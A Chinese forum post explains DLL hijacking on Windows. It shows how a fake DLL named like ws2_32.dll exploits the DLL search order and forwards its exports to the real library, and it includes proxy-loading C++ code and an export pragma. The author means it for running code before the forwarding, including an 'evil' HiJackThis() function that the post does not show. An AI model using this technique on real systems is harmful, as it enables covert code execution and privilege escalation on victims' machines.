劫持系统函数执行任意代码提权分析实现

[复制链接]
查看365 | 回复0 | 2012-4-1 19:23:26 | 显示全部楼层 |阅读模式
看名字就知道大概原理了,以前的木马有很多都是这个原理的。实际上这算是利用了windows寻找文件的一个特性,就是先在当前目录寻找需要调用的dll文件,如果没有找到那就再去系统目录下寻找,再没有就去环境变量中的目录中寻找。我们要做的就是伪造一个同名dll,并且伪造一张相同的输出表,伪造的DLL中把每个输出函数都跳转到真正的dll中。而在跳转之前我们就可以做爱做的事。
OK了废话不多说,小帅非得让我给他写一个出来。好吧,来吧。
因为C++多态,虚函数等特性。编译的时候输出函数的名字会被编译器改掉。所以要用预览源代码打印关于1#pragmacomment(linker,"/EXPORT:DestinyFunc=MyFunc,@1")

来定义输出函数。
毕竟那些输出函数都是假的,我们要转发,转发的话需要真实函数的地址。代码如下预览源代码




 01 HMODULEm_hModule=NULL;//原始模块句柄
02DWORDm_dwReturn[500]={0};//原始函数返回地址
03
04
05//加载原始模块
06inlineBOOLWINAPILoad()
07{
08TCHARtzPath[MAX_PATH];
09TCHARtzTemp[MAX_PATH*2];
10
11GetSystemDirectory(tzPath,MAX_PATH);
12lstrcat(tzPath,TEXT("\\ws2_32.dll"));
13m_hModule=LoadLibrary(tzPath);
14if(m_hModule==NULL)
15{
16wsprintf(tzTemp,TEXT("无法加载%s,程序无法正常运行。"),tzPath);
17MessageBox(NULL,tzTemp,TEXT("AheadLib"),MB_ICONSTOP);
18}
19
20return(m_hModule!=NULL);
21}
22
23//释放原始模块
24inlineVOIDWINAPIFree()
25{
26if(m_hModule)
27{
28FreeLibrary(m_hModule);
29}
30}
31
32//获取原始函数地址
33FARPROCWINAPIGetAddress(PCSTRpszProcName)
34{
35FARPROCfpAddress;
36CHARszProcName[16];
37TCHARtzTemp[MAX_PATH];
38
39if(m_hModule==NULL)
40{
41if(Load()==FALSE)
42{
43ExitProcess(-1);
44}
45}
46
47fpAddress=GetProcAddress(m_hModule,pszProcName);
48if(fpAddress==NULL)
49{
50if(HIWORD(pszProcName)==0)
51{
52wsprintf(szProcName,"%d",pszProcName);
53pszProcName=szProcName;
54}
55
56wsprintf(tzTemp,TEXT("无法找到函数%hs,程序无法正常运行。"),pszProcName);
57MessageBox(NULL,tzTemp,TEXT("AheadLib"),MB_ICONSTOP);
58ExitProcess(-2);
59}
60
61returnfpAddress;
62}

 


 






OK了,可以找到真正的输出函数地址了,那就把每个输出函数都单列出来转到真正的输出函数就可以了,但是不能光转啊,光转的话怎么做爱做的事啊,我们在转发之前写一个邪恶的函数HiJackThis();

*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则